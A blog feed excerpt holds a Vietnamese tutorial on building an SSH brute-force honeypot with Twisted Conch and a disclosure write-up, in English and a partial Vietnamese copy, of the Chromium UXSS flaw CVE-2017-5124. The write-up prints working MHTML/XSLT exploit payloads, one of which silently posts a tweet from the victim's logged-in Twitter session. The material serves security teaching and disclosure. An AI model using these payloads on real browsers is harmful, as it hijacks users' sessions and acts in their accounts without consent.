<p><em>“auth.log”</em> là log chứa các thông tin khi có người dùng đăng nhập vào hệ thống. Đăng nhập thông qua SSH cũng sẽ được lưu vào đây. Chúng ta có thể kiểm tra các thông tin này bằng một lệnh đơn giản sau:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>cat /var/log/auth.log | grep "authentication failures" | grep "rhost" | more
</pre></td></tr></tbody></table></code></pre></div></div>
<p>Lệnh này sẽ liệt kê toàn bộ các lượt đăng nhập sai (hoặc sai tên hoặc sai mật khẩu) thông qua SSH, và có kèm cả ngày giờ đăng nhập.</p>

<h2 id="xây-dựng-chương-trình-giả-lập-ssh-server">Xây dựng chương trình giả lập SSH server</h2>
<p>Như đã trình bày trong bài viết trước, tôi có rất nhiều lựa chọn từ các dự án mã nguồn mở: <a href="https://github.com/desaster/kippo">Kippo</a> hoặc <a href="http://kojoney.sourceforge.net/">Kojoney</a>. Trong dự án này, tôi đã tự xây dựng hệ thống cho riêng mình dựa trên Twisted với thư viện Conch SSH. Các bước tôi làm như sau:</p>
<ul>
  <li>Chỉnh sửa thư viện Conch của Twisted để tôi có thể ghi nhận các thông tin đăng nhập. Tôi sẽ đi chi tiết mục này do đây là phần khó nhất. 2 phần còn lại rất đơn giản, tôi chỉ sẽ không đi vào chi tiết. Khi có dữ liệu, việc hiển thị chỉ là thứ yếu.</li>
  <li>Lưu lại các thông tin đăng nhập vào database để có thể tra cứu về sau.</li>
  <li>Xây dựng một web đơn giản cho phép hiển thị các thông tin đã ghi nhận được và đánh dấu trên bản đồ.</li>
</ul>

<h3 id="chỉnh-sửa-conch">Chỉnh sửa Conch</h3>
<p>Thư viện Conch khá hoàn thiện, cho phép chúng ta xây dựng SSH server với đầy đủ các mô tả của giao thức SSH2. Tuy nhiên, chúng ta chỉ cần ghi nhận địa chỉ của máy thực hiện bruteforce, username và password là đủ. Chúng ta chưa cần phải thực hiện giả lập các thao tác sau khi hacker đăng nhập được vào hệ thống. Do đó, chúng ta sẽ <strong>luôn luôn</strong> trả về kết quả <em>đăng nhập không thành công</em>. Để làm điều này, tôi sẽ patch thư hiện Conch của Twisted bằng một lớp mới (<code class="language-plaintext highlighter-rouge">AuthServerWithPeer</code>) của tôi.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="rouge-code"><pre><span class="k">class</span> <span class="nc">AuthServerWithPeer</span><span class="p">(</span><span class="n">userauth</span><span class="p">.</span><span class="n">SSHUserAuthServer</span><span class="p">):</span>
    <span class="k">def</span> <span class="nf">auth_password</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">packet</span><span class="p">):</span>
        <span class="n">password</span> <span class="o">=</span> <span class="n">getNS</span><span class="p">(</span><span class="n">packet</span><span class="p">[</span><span class="mi">1</span><span class="p">:])[</span><span class="mi">0</span><span class="p">]</span> <span class="c1"># parse nhận được trong quá trình authentication
</span>
        <span class="c1"># Tạo một Object chứa các thông tin đăng nhập, object này phải phù hợp với interface
</span>        <span class="c1"># của hàm auth_password(). Hoàn toàn không hề có tài liệu mô tả chính xác cho interface này.
</span>        <span class="c1"># credentials.UsernamePassword là một implementation của interface nên tôi kế thừa class này
</span>        <span class="c1"># Để biết được interface này, tôi đã đọc mã nguồn của Conch.
</span>        <span class="c1"># Đây là ưu điểm của các ứng dụng mã nguồn mở do chúng ta luôn có source code của toàn bộ chương trình
</span>        <span class="n">c</span> <span class="o">=</span> <span class="n">UsernamePasswordPeer</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">user</span><span class="p">,</span> <span class="n">password</span><span class="p">,</span> <span class="bp">self</span><span class="p">.</span><span class="n">transport</span><span class="p">.</span><span class="n">getPeer</span><span class="p">())</span> 
        <span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">portal</span><span class="p">.</span><span class="n">login</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="bp">None</span><span class="p">,</span> <span class="n">interfaces</span><span class="p">.</span><span class="n">IConchUser</span><span class="p">).</span><span class="n">addErrback</span><span class="p">(</span>
            <span class="bp">self</span><span class="p">.</span><span class="n">_ebPassword</span><span class="p">)</span>

<span class="c1"># khởi tạo một instance của SSHFactory			
</span><span class="n">factory</span> <span class="o">=</span> <span class="n">SSHFactory</span><span class="p">()</span>
<span class="c1"># patch module SSH Authentication mặc định thành AuthServerWithPeer
</span><span class="n">factory</span><span class="p">.</span><span class="n">services</span><span class="p">[</span><span class="sa">b</span><span class="s">'ssh-userauth'</span><span class="p">]</span> <span class="o">=</span> <span class="n">AuthServerWithPeer</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">UsernamePasswordPeer</code> sẽ thực hiện ghi log khi có bất kì yêu cầu đăng nhập nào gửi tới server. Thông qua đọc mã nguồn, tôi biết được phương thức <code class="language-plaintext highlighter-rouge">requestAvatarId</code> sẽ nhận thông tin đăng nhập. Tôi đặt code ghi log vào đó.</p>

<p>Toàn bộ code của quá trình như sau:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
</pre></td><td class="rouge-code"><pre><span class="o">@</span><span class="n">implementer</span><span class="p">(</span><span class="n">ICredentialsChecker</span><span class="p">)</span>
<span class="k">class</span> <span class="nc">UsernamePasswordLogger</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
    <span class="s">"""
    A simple credentials logger.
    """</span>

    <span class="n">credentialInterfaces</span> <span class="o">=</span> <span class="p">(</span><span class="n">credentials</span><span class="p">.</span><span class="n">IUsernamePassword</span><span class="p">,</span>
                            <span class="n">credentials</span><span class="p">.</span><span class="n">IUsernameHashedPassword</span><span class="p">)</span>

    <span class="k">def</span> <span class="nf">requestAvatarId</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">user_cred</span><span class="p">):</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">write_log</span><span class="p">(</span><span class="n">user_cred</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">defer</span><span class="p">.</span><span class="n">fail</span><span class="p">(</span><span class="n">error</span><span class="p">.</span><span class="n">LoginFailed</span><span class="p">())</span>

    <span class="o">@</span><span class="nb">staticmethod</span>
    <span class="k">def</span> <span class="nf">write_log</span><span class="p">(</span><span class="n">cred</span><span class="p">):</span>
        <span class="c1"># thực hiện ghi log ở đây
</span>        <span class="k">pass</span>


<span class="k">class</span> <span class="nc">UsernamePasswordPeer</span><span class="p">(</span><span class="n">credentials</span><span class="p">.</span><span class="n">UsernamePassword</span><span class="p">):</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">,</span> <span class="n">peer</span><span class="p">):</span>
        <span class="n">credentials</span><span class="p">.</span><span class="n">UsernamePassword</span><span class="p">.</span><span class="n">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">)</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">peer</span> <span class="o">=</span> <span class="n">peer</span>


<span class="k">class</span> <span class="nc">AuthServerWithPeer</span><span class="p">(</span><span class="n">userauth</span><span class="p">.</span><span class="n">SSHUserAuthServer</span><span class="p">):</span>
    <span class="k">def</span> <span class="nf">auth_password</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">packet</span><span class="p">):</span>
        <span class="n">password</span> <span class="o">=</span> <span class="n">getNS</span><span class="p">(</span><span class="n">packet</span><span class="p">[</span><span class="mi">1</span><span class="p">:])[</span><span class="mi">0</span><span class="p">]</span>
        <span class="n">c</span> <span class="o">=</span> <span class="n">UsernamePasswordPeer</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">user</span><span class="p">,</span> <span class="n">password</span><span class="p">,</span> <span class="bp">self</span><span class="p">.</span><span class="n">transport</span><span class="p">.</span><span class="n">getPeer</span><span class="p">())</span>
        <span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">portal</span><span class="p">.</span><span class="n">login</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="bp">None</span><span class="p">,</span> <span class="n">interfaces</span><span class="p">.</span><span class="n">IConchUser</span><span class="p">).</span><span class="n">addErrback</span><span class="p">(</span>
            <span class="bp">self</span><span class="p">.</span><span class="n">_ebPassword</span><span class="p">)</span>


<span class="k">class</span> <span class="nc">SimpleRealm</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
    <span class="k">def</span> <span class="nf">requestAvatar</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">avatarId</span><span class="p">,</span> <span class="n">mind</span><span class="p">,</span> <span class="o">*</span><span class="n">i</span><span class="p">):</span>
        <span class="n">user</span> <span class="o">=</span> <span class="n">ConchUser</span><span class="p">()</span>
        <span class="n">user</span><span class="p">.</span><span class="n">channelLookup</span><span class="p">[</span><span class="s">'session'</span><span class="p">]</span> <span class="o">=</span> <span class="n">SSHChannel</span>

        <span class="k">def</span> <span class="nf">nothing</span><span class="p">():</span>
            <span class="k">pass</span>

        <span class="k">return</span> <span class="n">interfaces</span><span class="p">.</span><span class="n">IConchUser</span><span class="p">,</span> <span class="n">user</span><span class="p">,</span> <span class="n">nothing</span>


<span class="n">factory</span> <span class="o">=</span> <span class="n">SSHFactory</span><span class="p">()</span>
<span class="c1"># patch module SSH Authentication mặc định thành AuthServerWithPeer
</span><span class="n">factory</span><span class="p">.</span><span class="n">services</span><span class="p">[</span><span class="sa">b</span><span class="s">'ssh-userauth'</span><span class="p">]</span> <span class="o">=</span> <span class="n">AuthServerWithPeer</span>
<span class="c1"># sửa thông tin version của SSH cho giống với 1 server thật
</span><span class="n">factory</span><span class="p">.</span><span class="n">protocol</span><span class="p">.</span><span class="n">ourVersionString</span> <span class="o">=</span> <span class="s">'SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4'</span>
<span class="n">factory</span><span class="p">.</span><span class="n">privateKeys</span> <span class="o">=</span> <span class="p">{</span><span class="s">'ssh-rsa'</span><span class="p">:</span> <span class="n">privateKey</span><span class="p">}</span>
<span class="n">factory</span><span class="p">.</span><span class="n">publicKeys</span> <span class="o">=</span> <span class="p">{</span><span class="s">'ssh-rsa'</span><span class="p">:</span> <span class="n">publicKey</span><span class="p">}</span>
<span class="c1"># thiết lập moduli file để khởi tạo cho server, nếu không thiết lập thì sẽ dùng các giá trị mặc định
</span><span class="k">if</span> <span class="n">MODULI_FILE</span><span class="p">:</span>
    <span class="n">factory</span><span class="p">.</span><span class="n">primes</span> <span class="o">=</span> <span class="n">primes</span><span class="p">.</span><span class="n">parseModuliFile</span><span class="p">(</span><span class="n">MODULI_FILE</span><span class="p">)</span>
<span class="n">factory</span><span class="p">.</span><span class="n">portal</span> <span class="o">=</span> <span class="n">Portal</span><span class="p">(</span><span class="n">SimpleRealm</span><span class="p">())</span>
<span class="n">factory</span><span class="p">.</span><span class="n">portal</span><span class="p">.</span><span class="n">registerChecker</span><span class="p">(</span><span class="n">UsernamePasswordLogger</span><span class="p">())</span>
<span class="n">reactor</span><span class="p">.</span><span class="n">listenTCP</span><span class="p">(</span><span class="n">port</span><span class="o">=</span><span class="mi">2022</span><span class="p">,</span> <span class="n">factory</span><span class="o">=</span><span class="n">factory</span><span class="p">)</span>
<span class="n">reactor</span><span class="p">.</span><span class="n">run</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Để tránh chương trình phải chạy với quyền root (do 22 là một cổng privileged port), tôi sẽ lắng nghe ở cổng 2022 sau đó dùng luật iptables để redirect kết nối từ cổng 22 về 2022.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre> iptables -A PREROUTING -t nat  -p tcp -m tcp --dport 22 -j REDIRECT --to-ports 2022
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Một cách phức tạp khác là chúng ta thêm CAP_NET_BIND_SERVICE cho tiến trình lắng nghe.</p>

<h3 id="lưu-các-thông-tin-đăng-nhập">Lưu các thông tin đăng nhập</h3>
<p>Các thông tin đăng nhập có thể kể đến là :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>login_info = { 
                'host': cred.peer.address.host,
                'username': cred.username,
                'password': cred.password,
                'last_update': int(time.time())
            }
</pre></td></tr></tbody></table></code></pre></div></div>
<p>Trong đó:</p>
<ul>
  <li><em>host</em> chứa địa chỉ của máy tính thực hiện bruteforce.</li>
  <li><em>username</em> username đăng nhập.</li>
  <li><em>password</em> password đăng nhập.</li>
  <li><em>last_update</em> Thời gian đăng nhập.</li>
</ul>

<p>Khi có các thông tin này, các bạn có thể sử dụng bất cứ một cơ sở dữ liệu nào để lưu, tôi sử dụng mongodb để lưu lại.</p>

<h3 id="xây-dựng-giao-hiện-hiển-thị">Xây dựng giao hiện hiển thị</h3>
<p>Quá trình xây dựng giao hiện hiển thị khá đơn giản, gồm 2 phần là front-end và back-end</p>
<ul>
  <li><strong>front-end</strong>: Chúng ta cần hiển thị lên một bản đồ. Tôi dùng Google Maps API. Code sử dụng rất đơn giản và có sẵn trên mạng. Ngoài ra chúng ta cần một số bảng thống kê một số thông tin như: máy chủ quét nhiều nhất, cặp username - password được sử dụng nhiều nhất….</li>
  <li><strong>back-end</strong>: Chúng ta cần một webservice để lấy các thông tin và hiển thị lên giao diện. Do tôi sử dụng mongodb nên mọi thứ khá đơn giản khi lấy về danh sách các host đã bruteforce. Tuy nhiên cần lưu ý rằng để thống kê với mongodb thì chúng ta phải tối ưu. Các bạn có thể thấy tuy số lượng bản ghi rất nhiều nhưng quá trình thống kê kết quả của tôi là realtime và tốc độ khá nhanh. Tôi thực hiện điều này bằng cách sử dụng tính năng <code class="language-plaintext highlighter-rouge">aggregate</code> của mongodb. Aggregate của mongodb cho phép chúng ta xây dựng các pipeline để tính các giá trị thống kê. Một số bạn chưa biết tính năng này sẽ query dữ liệu về dưới dạng 1 list hoặc dùng cursor để walk và đếm. Cách đó hoàn toàn không đúng và sẽ làm treo toàn bộ mọi thứ.</li>
</ul>

<h2 id="kết-quả">Kết quả</h2>

<p>Tôi bắt đầu vào ngày 26 tháng 3 và tới nay đã có hơn 495000 lượt bruteforce, từ hơn 1867 ip khác nhau và sử dụng trên 90000 cặp username password. Tôi có đánh dấu tất cả các ip đó trên bản đồ. Để xem chi tiết hơn, các bạn có thể vào đường link bên dưới:</p>

<p>https://develbranch-lsh.herokuapp.com/lsh</p>

<iframe width="100%" height="600px" src="https://develbranch-lsh.herokuapp.com/lsh" frameborder="0" allowfullscreen=""></iframe>]]></content><author><name>Quang Nguyen</name></author><category term="Tutorials" /><category term="lsh" /><category term="honeypot" /><summary type="html"><![CDATA[Xây dựng chương trình đánh dấu vị trí của các máy tính đang bruteforce dịch vụ SSH trên thế giới. Phần này tôi sẽ viết chi tiết cách cụ thể tôi thực hiện dự án này.]]></summary></entry><entry><title type="html">Lightweight SSH Honeypot</title><link href="https://develbranch.com/tutorials/lightweight-ssh-honeypot.html" rel="alternate" type="text/html" title="Lightweight SSH Honeypot" /><published>2018-03-30T17:00:00+00:00</published><updated>2018-03-30T17:00:00+00:00</updated><id>https://develbranch.com/tutorials/lightweight-ssh-honeypot</id><content type="html" xml:base="https://develbranch.com/tutorials/lightweight-ssh-honeypot.html"><![CDATA[<h2 id="giới-thiệu">Giới thiệu</h2>
<p>Gần đây, tôi có dựng một VPS để tổ chức CTF. Tôi nhận ra rằng trong lúc setup iptable, tôi nhận được rất nhiều log kết nối tới cổng dịch vụ SSH (22) từ IP trên toàn thế giới. Chẳng có lý do gì để một máy chủ vừa dựng lên, đã có người biết đến nhanh như thế, ngoại trừ những người đó đang dùng các máy tính chuyên để quét cổng dịch vụ SSH (SSH bruteforce).</p>

<p>Chúng ta có nhiều cách để phát hiện những kẻ khó chịu này:</p>
<ul>
  <li>kiểm tra các kết nối đang mở bằng <code class="language-plaintext highlighter-rouge">netstat -ntl</code></li>
  <li>kiểm tra log ssh (auth.log)</li>
  <li>cài đặt suricata</li>
  <li>…</li>
</ul>

<p>Tôi quyết định xem thật sự đang có những tài khoản nào đăng nhập vào dịch vụ SSH của tôi. Tôi dựng một honeypot đơn giản: LSH - Lightweight SSH Honeypot. Có nhiều dự án mã nguồn mở khác tương tự thế này: <a href="https://github.com/desaster/kippo">Kippo</a> hoặc <a href="http://kojoney.sourceforge.net/">Kojoney</a>. Chúng khá phức tạp và nhiều tính năng hay ho. Tôi cần một thứ đơn giản hơn. Tôi dùng Twisted với thư viện Conch SSH. Tôi sử dụng SSHFactory của Conch, chỉnh sửa một chút để tôi có thể ghi lại các thông tin đăng nhập (username và password). Tôi bắt đầu bật service ở cổng 2022, redirect kết nối từ cổng 22 về 2022 do cổng 22 là privileged port. Mọi tiến trình muốn sử dụng privileged port đều phải có quyền root, hoặc chúng ta cần thêm CAP_NET_BIND_SERVICE cho tiến trình lắng nghe. Khi có các thông tin này, tôi sử dụng mongodb để lưu lại. Thật tuyệt vời là có nhiều hãng cung cấp dịch vụ database online như MongoDB Atlas hay mLab. Việc tiếp theo là tôi cần một dịch vụ để có thể deploy toàn bộ code lên đó. Tôi không muốn dựng thêm một dịch vụ gì trên VPS giá $3/tháng của tôi nữa. Tôi chọn heroku app (platform as a service (PaaS)) do tính tiện dụng của nó. Quan trọng hơn, heroku cho phép sử dụng free nếu chúng ta chỉ có một app duy nhất.</p>

<h2 id="kết-quả">Kết quả</h2>

<p>Tôi bắt đầu vào ngày 26 và trong vòng 1 tuần thì có hơn 15000 lượt bruteforce, từ hơn 60 ip khác nhau và sử dụng trên 10000 cặp username password. Tôi có đánh dấu tất cả các ip đó trên bản đồ. Để xem chi tiết hơn, các bạn có thể vào đường link bên dưới:</p>

<p>https://develbranch-lsh.herokuapp.com/lsh</p>

<iframe width="100%" height="600px" src="https://develbranch-lsh.herokuapp.com/lsh" frameborder="0" allowfullscreen=""></iframe>]]></content><author><name>Quang Nguyen</name></author><category term="Tutorials" /><category term="lsh" /><category term="honeypot" /><summary type="html"><![CDATA[Xây dựng chương trình đánh dấu vị trí của các máy tính đang bruteforce dịch vụ SSH trên thế giới.]]></summary></entry><entry><title type="html">Chromium Based Browsers are safe or not ? (English version)</title><link href="https://develbranch.com/tutorials/chromium-based-browsers-are-safe-or-not-english-version.html" rel="alternate" type="text/html" title="Chromium Based Browsers are safe or not ? (English version)" /><published>2017-12-31T17:00:00+00:00</published><updated>2017-12-31T17:00:00+00:00</updated><id>https://develbranch.com/tutorials/chromium-based-browsers-are-safe-or-not-english-version</id><content type="html" xml:base="https://develbranch.com/tutorials/chromium-based-browsers-are-safe-or-not-english-version.html"><![CDATA[<p>Original post: <a href="https://develbranch.com/tutorials/chromium-based-browsers-are-safe-or-not.html">https://develbranch.com/tutorials/chromium-based-browsers-are-safe-or-not.html</a></p>

<p>Recently, the Chromium open source browser (version 62 and below) has a very serious vulnerability. <strong>UXSS with MHTML</strong>, CVE-2017-5124. The exploit code has also been published: https://github.com/Bo0oM/CVE-2017-5124.</p>

<h2 id="what-is-universal-cross-site-scripting-uxss">What is Universal Cross-site Scripting (UXSS)?</h2>
<p>Cross-site scripting (XSS) (https://www.acunetix.com/websitesecurity/cross-site-scripting/) refers to client-side code injection attack wherein an attacker can execute malicious scripts (also commonly referred to as a malicious payload) into a legitimate website or web application. XSS is amongst the most rampant of web application vulnerabilities and occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.</p>

<p>By leveraging XSS, an attacker does not target a victim directly. Instead, an attacker would exploit a vulnerability within a website or web application that the victim would visit, essentially using the vulnerable website as a vehicle to deliver a malicious script to the victim’s browser.</p>

<p>While XSS can be taken advantage of within VBScript, ActiveX and Flash (although now considered legacy or even obsolete), unquestionably, the most widely abused is JavaScript – primarily because JavaScript is fundamental to most browsing experiences.</p>

<p>Hackers use UXSS to access every open session of the browser: hackers can read the cookies or sessions of opened tabs.</p>

<h1 id="uxss-with-mhtml-cve-2017-5124">UXSS with MHTML (CVE-2017-5124)</h1>
<p>This is a vulnerability in the Chromium when processing <a href="https://en.wikipedia.org/wiki/MHTML">MHTML (HTML)</a>.</p>

<p>MHTML is a text document with a title, content-type (multipart / related), and a content separator (boundary), encoding (can be base64).</p>

<p>In the description of html, we can use <code class="language-plaintext highlighter-rouge">Content-location</code> to determine the source of the data. For example, we write Content-location: https://example.com/abc, which will be loaded from https://example.com/abc and displayed.</p>

<p>For security reasons, all javascript related data is forbidden and can not be executed from another location. This rule is checked everywhere, except for <a href="https://en.wikipedia.org/wiki/XSLT">XSLT</a>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
</pre></td><td class="rouge-code"><pre>MIME-Version: 1.0
Content-Type: multipart/related;
	type="text/html";
	boundary="----MultipartBoundary--"
CVE-2017-5124

------MultipartBoundary--
Content-Type: application/xml;

&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;?xml-stylesheet type="text/xml" href="#stylesheet"?&gt;
&lt;!DOCTYPE catalog [
&lt;!ATTLIST xsl:stylesheet
id ID #REQUIRED&gt;
]&gt;
&lt;xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"&gt;
&lt;xsl:template match="*"&gt;
&lt;html&gt;&lt;iframe style="display:none" src="https://google.com"&gt;&lt;/iframe&gt;&lt;/html&gt;
&lt;/xsl:template&gt;
&lt;/xsl:stylesheet&gt;

------MultipartBoundary--
Content-Type: text/html
Content-Location: https://google.com

&lt;script&gt;alert('Location origin: '+location.origin)&lt;/script&gt;
------MultipartBoundary----
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The hacker can run alert () with the https://google.com domain and display a messagebox indicating the location corresponds to the script’s running script.</p>

<h2 id="some-scenarios-using-uxss-with-mhtml-cve-2017-5124">Some scenarios using UXSS with MHTML (CVE-2017-5124)</h2>
<p>We will approach some “real” scenarios:</p>
<ul>
  <li>Hack email: Bad guys can read emails, send mail with the user’s email address without their knowledge. Bank accounts are usually associated with an email address. If the email is compromised, the hacker will be able to read the account recovery codes or notifications from the bank, send fake emails or use this email to attack.</li>
  <li>Hackers can read and post posts under user accounts. I will use my Twitter account for testing.
 
The exploit code will tweet a message with the user’s Twitter account.</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
</pre></td><td class="rouge-code"><pre>MIME-Version: 1.0
Content-Type: multipart/related;
	type="text/html";
	boundary="----MultipartBoundary--"
Become IDOL

------MultipartBoundary--
Content-Type: application/xml;

&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;?xml-stylesheet type="text/xml" href="#stylesheet"?&gt;
&lt;!DOCTYPE catalog [
&lt;!ATTLIST xsl:stylesheet
id ID #REQUIRED&gt;
]&gt;
&lt;xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"&gt;
&lt;xsl:template match="*"&gt;
&lt;html&gt;&lt;iframe style="display:none" src="https://twitter.com" &gt;&lt;/iframe&gt;&lt;/html&gt;
&lt;/xsl:template&gt;
&lt;/xsl:stylesheet&gt;

------MultipartBoundary--
Content-Type: text/html
Content-Location: https://twitter.com

&lt;script&gt;

function tweet(text)
{
    var win = window.open("/", '_blank', 'toolbar=no,status=no,menubar=no,scrollbars=no,resizable=no,left=10000, top=10000, width=2, height=1, visible=none', '');
	win.onload = function(){
	        win.boxTextToTweet = win.document.getElementById("tweet-box-home-timeline");
			win.btnPostTweet = win.document.getElementsByClassName("tweet-action EdgeButton EdgeButton--primary js-tweet-btn")[0];
			win.boxTextToTweet.focus();
			win.boxTextToTweet.innerHTML = text;
			setTimeout(function(){ win.btnPostTweet.click(); }, 500);
			setTimeout(function(){ win.close(); }, 1500);
	}
}

tweet('I &lt;3 fosec. @quangnh89 is my idol.');

&lt;/script&gt;
------MultipartBoundary----
</pre></td></tr></tbody></table></code></pre></div></div>

<p>I have attacked CocCoc (66) and SamSung Internet browser.</p>

<p>Demo with CocCoc 66:</p>

<p><a href="https://www.youtube.com/watch?v=oBZe2-dtfGI"><img src="https://img.youtube.com/vi/oBZe2-dtfGI/0.jpg" alt="UXSS with MHTML (CVE-2017-5124) + CocCoc browser 66.4.134" /></a></p>

<h2 id="the-browsers-are-affected-by-cve-2017-5124">The browsers are affected by CVE-2017-5124</h2>
<p>All browsers that use the Chromium (Chrome &lt; 62) are affected. CocCoc version 66.4.134, a popular browser in Vietnam, which uses Chromium 60.4.3112.134 is vulnerable. Some browsers on SamSung phones made by the manufacturer itself can be exploited. Personally, for security purposes, we can temporarily stop using the browser until the problem is solved.</p>

<h2 id="timeline">Timeline</h2>
<p><em>Coc Coc Browser</em></p>
<ul>
  <li>05/12/2017: contacted CocCoc Company.</li>
  <li>06/12/2017: Coc Coc Company confirmed.
Currently, the latest version of CocCoc has been fixed.</li>
</ul>

<p><em>SamSung Internet Browser 6.2.01.12</em></p>
<ul>
  <li>03/12/2017: Send email to SamSung Company</li>
  <li>08/12/2017: SamSung thinks that this issue belongs to Google Chrome.</li>
</ul>

<p>According to my tests, the browser SamSung Internet Browser 6.2.01.12 suffered a serious vulnerability. If your phone is not up to date, wait for a patch. Demo with SamSung internet: https://www.youtube.com/watch?v=nLPuplN5HmM</p>

<p><a href="https://www.youtube.com/watch?v=nLPuplN5HmM"><img src="https://img.youtube.com/vi/nLPuplN5HmM/0.jpg" alt="UXSS with MHTML (CVE-2017-5124) + SamSung Internet Browser 6.2.01.12" /></a></p>]]></content><author><name>Quang Nguyen</name></author><category term="Tutorials" /><category term="uxss" /><category term="chromium" /><summary type="html"><![CDATA[n-day vulnerability in Chromium Based Browsers]]></summary></entry><entry><title type="html">Chromium Based Browsers are safe or not ?</title><link href="https://develbranch.com/tutorials/chromium-based-browsers-are-safe-or-not.html" rel="alternate" type="text/html" title="Chromium Based Browsers are safe or not ?" /><published>2017-12-16T17:00:00+00:00</published><updated>2017-12-16T17:00:00+00:00</updated><id>https://develbranch.com/tutorials/chromium-based-browsers-are-safe-or-not</id><content type="html" xml:base="https://develbranch.com/tutorials/chromium-based-browsers-are-safe-or-not.html"><![CDATA[<p>Gần đây, trình duyệt nguồn mở Chromium (phiên bản 62 trở xuống) có một lỗi cực kì nghiêm trọng <strong>UXSS with MHTML</strong>, được gắn mã CVE-2017-5124. Mã khai thác của lỗi này cũng đã được công bố: https://github.com/Bo0oM/CVE-2017-5124. Vậy lỗi này nghiêm trọng thế nào? Ảnh hưởng của lỗi này ra sao?</p>

<h2 id="universal-cross-site-scripting-uxss-là-gì">Universal Cross-site Scripting (UXSS) là gì?</h2>
<p>Lỗi <a href="https://www.acunetix.com/websitesecurity/cross-site-scripting/">cross-site scripting (XSS) attacks</a> thường xuất hiện trên các website hoặc các ứng dụng web. Đây là lỗ hổng cho phép hacker có thể chèn những đoạn mã client-script (thường là Javascript hoặc HTML) vào trang web, khi người dùng vào những trên web này, mã độc sẽ được thực thi trên máy của người dùng. UXSS giống với XSS  ở một số đặc điểm cơ bản: khai thác một lỗ hổng của ứng dụng web, thực thi mã độc, tuy nhiên vẫn có điểm khác nhau như sau: không giống như XSS là lỗ hổng nằm bên trong ứng dụng web, UXSS là loại lỗ hổng nằm bên trong trình duyệt, hoặc một phần mở rộng của trình duyệt. Loại lỗ hổng này tạo ra điều kiện giống như điều kiện xảy ra XSS, do đó có thể thực thi code độc hại. Khi lỗ hổng này bị khai thác, các tính năng bảo mật của trình duyệt sẽ bị vô hiệu hóa.</p>

<p>Hacker sử dụng UXSS để truy cập vào mọi phiên đang mở của trình duyệt: hacker có thể đọc được cookie hoặc session của các tab đang mở.</p>

<h2 id="uxss-with-mhtml-cve-2017-5124">UXSS with MHTML (CVE-2017-5124)</h2>
<p>Đây là một lỗi nằm trong nhân xử lý của Chromium khi xử lý định dạng <a href="https://en.wikipedia.org/wiki/MHTML">MHTML (MIME-HTML)</a> .</p>

<p>MHTML là tài liệu văn bản mà trong đó xác định rõ tiêu đề (title), content-type (<code class="language-plaintext highlighter-rouge">multipart / related</code>) và phần biên (ví dụ là <code class="language-plaintext highlighter-rouge">----MultipartBoundary--</code>), sau đó được chia thành từng phần trong một file. Ngoài ra, có thể bổ sung một số thông tin như cách encode(base64 chẳng hạn).</p>

